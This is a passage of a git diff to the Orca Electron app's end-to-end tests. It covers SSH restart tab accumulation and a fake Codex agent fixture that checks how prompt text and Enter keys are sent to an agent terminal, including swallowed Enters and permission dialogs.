+    ).toEqual(cycles.map(() => baseline.remoteWorktreeCount))
+    const expectedTabIds = baseline.worktreeTabIds.slice().sort()
+    for (const [index, cycle] of cycles.entries()) {
+      expect(cycle.worktreeTabIds.slice().sort(), `restart ${index + 1}: ${growth}`).toEqual(
+        expectedTabIds
+      )
+      expect(
+        cycle.stripTabIds.slice().sort(),
+        `restart ${index + 1} rendered different tabs: ${growth}`
+      ).toEqual(expectedTabIds)
+    }
+  } finally {
+    if (app) {
+      await restart.close(app)
+    }
+    await restart.dispose()
+    cleanupDockerSshRelayTarget(target)
+  }
+}
+
+test.describe('SSH restart tab accumulation', () => {
+  test.skip(!RUN_DOCKER_SSH, 'Set ORCA_E2E_SSH_DOCKER=1 to run Docker-backed SSH tests.')
+  test.skip(process.platform === 'win32', 'Docker SSH restore uses POSIX SSH tooling.')
+
+  // Why three restarts and not one: a single restart only proves one restore was clean. Users reach
+  // this by returning to the same SSH workspace day after day, so the invariant worth pinning is
+  // that N restarts add nothing — one spurious tab per launch is invisible to a one-shot test.
+  test('keeps a single restored SSH tab across repeated quit and relaunch cycles', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns every Electron launch.
+  {}, testInfo) => {
+    test.setTimeout(600_000)
+    await runRestartCycles(testInfo, 1)
+  })
+
+  // Why a second size: separates "one spurious default tab per restart" from "the set duplicates".
+  test('keeps every restored SSH tab across repeated quit and relaunch cycles', async (// oxlint-disable-next-line no-empty-pattern -- This restart test owns every Electron launch.
+  {}, testInfo) => {
+    test.setTimeout(600_000)
+    await runRestartCycles(testInfo, 3)
+  })
+})
diff --git a/tests/e2e/terminal-send-agent-prompt-submit.spec.ts b/tests/e2e/terminal-send-agent-prompt-submit.spec.ts
index 1ae525d29da..3567cb1d8a2 100644
--- a/tests/e2e/terminal-send-agent-prompt-submit.spec.ts
+++ b/tests/e2e/terminal-send-agent-prompt-submit.spec.ts
@@ -1,52 +1,97 @@
 import { execFile } from 'node:child_process'
-import { chmodSync, mkdirSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
+import { chmodSync, mkdtempSync, rmSync, writeFileSync } from 'node:fs'
 import os from 'node:os'
 import path from 'node:path'
 import { promisify } from 'node:util'
 import { expect, test } from './helpers/orca-app'
+import { buildFakeAgentCommandOverride } from './helpers/fake-agent-command-override'
 import { waitForSessionReady } from './helpers/store'
+import { RuntimeClient } from '../../src/cli/runtime-client'
+import { recognizeAgentProcess } from '../../src/shared/agent-process-recognition'
+import { SWALLOWED_ENTER_FIXTURE_TIMEOUT_MS } from '../../src/shared/orchestration-timing-budgets'
 
 const execFileAsync = promisify(execFile)
 const fixtureRoot = mkdtempSync(path.join(os.tmpdir(), 'orca-terminal-send-agent-prompt-'))
-const fixtureBin = path.join(fixtureRoot, 'bin')
 const fixtureReport = path.join(fixtureRoot, 'report.json')
 const fixtureMarker = `ORCA_TERMINAL_SEND_E2E_${process.pid}`
 const fixtureScript = path.join(process.cwd(), 'tests', 'tools', 'repro-terminal-send-submit.mjs')
-const fakeCodex = path.join(fixtureBin, process.platform === 'win32' ? 'codex.cmd' : 'codex')
+const fakeCodex = path.join(fixtureRoot, process.platform === 'win32' ? 'codex.cmd' : 'codex')
+const fakeCodexCommand = buildFakeAgentCommandOverride(fakeCodex)
+const swallowedEnterFixtureTimeoutMs = SWALLOWED_ENTER_FIXTURE_TIMEOUT_MS
 
-mkdirSync(fixtureBin)
 writeFileSync(
   fakeCodex,
   process.platform === 'win32'
     ? `@echo off\r\n"${process.execPath}" "${fixtureScript}" --fake-agent --report "%ORCA_FAKE_AGENT_REPORT%" --marker "%ORCA_FAKE_AGENT_MARKER%" --allow-unframed-paste %*\r\n`
-    : `#!/usr/bin/env sh\nexec "${process.execPath}" "${fixtureScript}" --fake-agent --report "$ORCA_FAKE_AGENT_REPORT" --marker "$ORCA_FAKE_AGENT_MARKER" "$@"\n`,
+    : `#!/usr/bin/env sh\n"${process.execPath}" "${fixtureScript}" --fake-agent --report "$ORCA_FAKE_AGENT_REPORT" --marker "$ORCA_FAKE_AGENT_MARKER" "$@"\n`,
   'utf8'
 )
 if (process.platform !== 'win32') {
   chmodSync(fakeCodex, 0o755)
 }
 
-test.use({
-  seedTestRepo: false,
-  orcaAppExtraEnv: {
-    PATH: `${fixtureBin}${path.delimiter}${process.env.PATH ?? ''}`,
-    ORCA_FAKE_AGENT_REPORT: fixtureReport,
-    ORCA_FAKE_AGENT_MARKER: fixtureMarker
-  }
-})
-
 test.afterAll(() => {
   rmSync(fixtureRoot, { recursive: true, force: true })
 })
 
+async function createFakeCodexTerminal(
+  userDataDir: string,
+  testRepoPath: string,
+  args: string[] = []
+): Promise<string> {
+  const client = new RuntimeClient(userDataDir, 30_000, null, null)
+  const expectedPath = path.resolve(testRepoPath)
+  const findWorktree = async (): Promise<{ id: string } | undefined> => {
+    const listed = await client.call<{ worktrees: { id: string; path: string }[] }>(
+      'worktree.list',
+      {}
+    )
+    return listed.result.worktrees.find((worktree) => {
+      const candidatePath = path.resolve(worktree.path)
+      return process.platform === 'win32'
+        ? candidatePath.toLowerCase() === expectedPath.toLowerCase()
+        : candidatePath === expectedPath
+    })
+  }
+  await expect.poll(async () => Boolean(await findWorktree()), { timeout: 60_000 }).toBe(true)
+  const worktree = await findWorktree()
+  if (!worktree) {
+    throw new Error(`runtime did not register ${testRepoPath}`)
+  }
+  const created = await client.call<{ terminal: { handle: string } }>('terminal.create', {
+    worktree: `id:${worktree.id}`,
+    command: [fakeCodexCommand, ...args].join(' '),
+    launchAgent: 'codex',
+    env: {
+      ORCA_FAKE_AGENT_REPORT: fixtureReport,
+      ORCA_FAKE_AGENT_MARKER: fixtureMarker
+    },
+    title: 'terminal send submit repro'
+  })
+  const handle = created.result.terminal.handle
+  await expect
+    .poll(
+      async () => {
+        const inspected = await client.call<{
+          process: { foregroundProcess: string | null }
+        }>('terminal.inspectProcess', { terminal: handle })
+        return recognizeAgentProcess(inspected.result.process.foregroundProcess)?.agent ?? null
+      },
+      { timeout: 30_000 }
+    )
+    .toBe('codex')
+  return handle
+}
+
 test('CLI text plus Enter waits for a slow agent composer before submitting', async ({
   electronApp,
   orcaPage,
   testRepoPath
 }) => {
-  test.setTimeout(90_000)
+  test.setTimeout(110_000)
   await waitForSessionReady(orcaPage)
   const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData'))
+  const terminal = await createFakeCodexTerminal(userDataDir, testRepoPath)
   const repoRoot = process.cwd()
   let stdout = ''
   try {
@@ -58,8 +103,8 @@ test('CLI text plus Enter waits for a slow agent composer before submitting', as
         path.join(repoRoot, 'config', 'scripts', 'orca-dev.mjs'),
         '--worktree',
         testRepoPath,
-        '--agent-command',
-        'codex',
+        '--terminal',
+        terminal,
         '--report',
         fixtureReport,
         '--marker',
@@ -94,9 +139,14 @@ test('CLI reports a swallowed Enter without submitting a second Enter', async ({
   orcaPage,
   testRepoPath
 }) => {
-  test.setTimeout(90_000)
+  test.setTimeout(110_000)
   await waitForSessionReady(orcaPage)
   const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData'))
+  const terminal = await createFakeCodexTerminal(userDataDir, testRepoPath, [
+    '--swallow-first-enter',
+    '--timeout-ms',
+    String(swallowedEnterFixtureTimeoutMs)
+  ])
   const repoRoot = process.cwd()
   let stdout = ''
   try {
@@ -108,8 +158,10 @@ test('CLI reports a swallowed Enter without submitting a second Enter', async ({
         path.join(repoRoot, 'config', 'scripts', 'orca-dev.mjs'),
         '--worktree',
         testRepoPath,
-        '--agent-command',
-        'codex --swallow-first-enter',
+        '--terminal',
+        terminal,
+        '--timeout-ms',
+        String(swallowedEnterFixtureTimeoutMs),
         '--expect-stalled',
         '--report',
         fixtureReport,
@@ -120,7 +172,7 @@ test('CLI reports a swallowed Enter without submitting a second Enter', async ({
       {
         cwd: repoRoot,
         env: { ...process.env, ORCA_DEV_USER_DATA_PATH: userDataDir },
-        timeout: 60_000
+        timeout: 90_000
       }
     )
     stdout = result.stdout
@@ -137,6 +189,7 @@ test('CLI reports a swallowed Enter without submitting a second Enter', async ({
     prematureEnters: 0,
     receivedEnters: 1,
     swallowedEnters: 1,
+    configuredTimeoutMs: swallowedEnterFixtureTimeoutMs,
     markerReceived: true
   })
 })
@@ -146,9 +199,12 @@ test('CLI does not write prompt bytes into an active permission dialog', async (
   orcaPage,
   testRepoPath
 }) => {
-  test.setTimeout(90_000)
+  test.setTimeout(110_000)
   await waitForSessionReady(orcaPage)
   const userDataDir = await electronApp.evaluate(({ app }) => app.getPath('userData'))
+  const terminal = await createFakeCodexTerminal(userDataDir, testRepoPath, [
+    '--permission-before-send'
+  ])
   const repoRoot = process.cwd()
   let stdout = ''
   try {
@@ -160,6 +216,8 @@ test('CLI does not write prompt bytes into an active permission dialog', async (
         path.join(repoRoot, 'config', 'scripts', 'orca-dev.mjs'),
         '--worktree',
         testRepoPath,
+        '--terminal',
+        terminal,
         '--expect-blocked',
         '--report',
         fixtureReport,
diff --git a/tests/tools/repro-terminal-send-submit.mjs b/tests/tools/repro-terminal-send-submit.mjs
index 201e51c9364..7e1c0152012 100644
--- a/tests/tools/repro-terminal-send-submit.mjs
+++ b/tests/tools/repro-terminal-send-submit.mjs
@@ -1,8 +1,9 @@
 #!/usr/bin/env node
 import { spawn } from 'node:child_process'
-import { mkdir, readFile, rm, symlink, writeFile } from 'node:fs/promises'
+import { chmod, mkdir, readFile, rm, writeFile } from 'node:fs/promises'
 import { tmpdir } from 'node:os'
 import path from 'node:path'
+import { pathToFileURL } from 'node:url'
 
 const SCRIPT_PATH = import.meta.filename
 const BEGIN = '\x1b[200~'
@@ -118,6 +119,20 @@ async function closeTerminal(cli, handle, cwd) {
   }
 }
 
+async function waitForPermissionPrompt(cli, handle, cwd) {
+  const deadline = Date.now() + 10_000
+  let lastTerminal = null
+  while (Date.now() < deadline) {
+    const shown = await callOrca(cli, ['terminal', 'show', '--terminal', handle], cwd)
+    lastTerminal = shown.terminal ?? null
+    if (lastTerminal?.agentWait) {
+      return
+    }
+    await new Promise((resolve) => setTimeout(resolve, 100))
+  }
+  throw new Error(`terminal permission prompt was not observed: ${JSON.stringify(lastTerminal)}`)
+}
+
 async function waitForWorktreeSelector(cli, repoId, cwd) {
   const deadline = Date.now() + 10_000
   const expectedPath = path.resolve(cwd)
@@ -138,18 +153,25 @@ async function waitForWorktreeSelector(cli, repoId, cwd) {
 }
 
 async function createFakeCodexCommand(tempDir, args) {
+  const launcherPath = path.join(tempDir, 'codex')
+  const runnerPath = path.join(tempDir, 'fake-agent.mjs')
+  await writeFile(runnerPath, `import ${JSON.stringify(pathToFileURL(SCRIPT_PATH).href)}\n`, 'utf8')
   if (process.platform === 'win32') {
-    const launcherPath = path.join(tempDir, 'codex.cmd')
+    const commandPath = path.join(tempDir, 'codex.cmd')
     await writeFile(
-      launcherPath,
-      `@echo off\r\n"${process.execPath}" "${SCRIPT_PATH}" %*\r\n`,
+      commandPath,
+      `@echo off\r\n"${process.execPath}" "%~dp0fake-agent.mjs" %*\r\n`,
       'utf8'
     )
-    return [shellQuote(launcherPath), ...args].join(' ')
+    return [shellQuote(commandPath), ...args].join(' ')
   }
-  const launcherPath = path.join(tempDir, 'codex')
-  await symlink(process.execPath, launcherPath)
-  return [shellQuote(launcherPath), shellQuote(SCRIPT_PATH), ...args].join(' ')
+  await writeFile(
+    launcherPath,
+    `#!/usr/bin/env sh\n"${process.execPath}" "${runnerPath}" "$@"\n`,
+    'utf8'
+  )
+  await chmod(launcherPath, 0o755)
+  return [shellQuote(launcherPath), ...args].join(' ')
 }
 
 async function parentMain() {
@@ -162,43 +184,48 @@ async function parentMain() {
   const prompt = `${marker} ${'slow composer payload '.repeat(24)}`
   const expectStalled = hasFlag('expect-stalled')
   const expectBlocked = hasFlag('expect-blocked')
+  const providedHandle = argValue('terminal')
   await mkdir(tempDir, { recursive: true })
   await rm(reportPath, { force: true })
 
-  const command =
-    argValue('agent-command') ??
-    (await createFakeCodexCommand(tempDir, [
-      '--fake-agent',
-      '--report',
-      shellQuote(reportPath),
-      '--marker',
-      shellQuote(marker),
-      '--timeout-ms',
-      String(timeoutMs),
-      ...(expectBlocked ? ['--permission-before-send'] : []),
-      ...(process.platform === 'win32' ? ['--allow-unframed-paste'] : [])
-    ]))
-  const added = await callOrca(cli, ['repo', 'add', '--path', cwd], cwd)
-  const repoId = added.repo?.id
-  if (!repoId) {
-    throw new Error('repo add returned no id')
+  let handle = providedHandle
+  if (!handle) {
+    const command =
+      argValue('agent-command') ??
+      (await createFakeCodexCommand(tempDir, [
+        '--fake-agent',
+        '--report',
+        shellQuote(reportPath),
+        '--marker',
+        shellQuote(marker),
+        '--timeout-ms',
+        String(timeoutMs),
+        ...(expectStalled ? ['--swallow-first-enter'] : []),
+        ...(expectBlocked ? ['--permission-before-send'] : []),
+        ...(process.platform === 'win32' ? ['--allow-unframed-paste'] : [])
+      ]))
+    const added = await callOrca(cli, ['repo', 'add', '--path', cwd], cwd)
+    const repoId = added.repo?.id
+    if (!repoId) {
+      throw new Error('repo add returned no id')
+    }
+    const worktreeSelector = await waitForWorktreeSelector(cli, repoId, cwd)
+    const created = await callOrca(
+      cli,
+      [
+        'terminal',
+        'create',
+        '--worktree',
+        worktreeSelector,
+        '--title',
+        'terminal send submit repro',
+        '--command',
+        command
+      ],
+      cwd
+    )
+    handle = created.terminal?.handle
   }
-  const worktreeSelector = await waitForWorktreeSelector(cli, repoId, cwd)
-  const created = await callOrca(
-    cli,
-    [
-      'terminal',
-      'create',
-      '--worktree',
-      worktreeSelector,
-      '--title',
-      'terminal send submit repro',
-      '--command',
-      command
-    ],
-    cwd
-  )
-  const handle = created.terminal?.handle
   if (!handle) {
     throw new Error('terminal create returned no handle')
   }
@@ -209,6 +236,7 @@ async function parentMain() {
       if (!setupReport) {
         throw new Error('terminal permission prompt did not materialize')
       }
+      await waitForPermissionPrompt(cli, handle, cwd)
     } else {
       await callOrca(
         cli,
@@ -278,6 +306,7 @@ async function parentMain() {
 }
 
 async function fakeAgentMain() {
+  process.title = 'codex'
   const reportPath = argValue('report')
   const marker = argValue('marker')
   const timeoutMs = parsePositiveInteger('timeout-ms', DEFAULT_TIMEOUT_MS)
@@ -291,10 +320,14 @@ async function fakeAgentMain() {
     process.stdin.setRawMode(true)
   }
   process.stdin.resume()
-  process.stdout.write('OpenAI Codex\nmodel: fake\ndirectory: fixture\n> ')
-  if (permissionBeforeSend) {
-    process.stdout.write('\nPermission required\nAllow once\nAllow always\nReject\n')
-  }
+  process.stdout.write('\x1b]0;Codex working\x07')
+  setTimeout(() => {
+    const title = permissionBeforeSend ? 'Codex permission' : 'Codex Ready'
+    process.stdout.write(`\x1b]0;${title}\x07OpenAI Codex\nmodel: fake\ndirectory: fixture\n> `)
+    if (permissionBeforeSend) {
+      process.stdout.write('\nPermission required\nAllow once\nAllow always\nReject\n')
+    }
+  }, 100)
 
   let input = ''
   let countedCarriages = 0
@@ -308,6 +341,7 @@ async function fakeAgentMain() {
   const writeReport = async (submitted) => {
     const hasBracketedPasteFrame = input.includes(BEGIN) && input.includes(END)
     const report = {
+      configuredTimeoutMs: timeoutMs,
       contractOk:
         prematureEnters === 0 &&
         (permissionBeforeSend || !pasteFramingRequired || hasBracketedPasteFrame),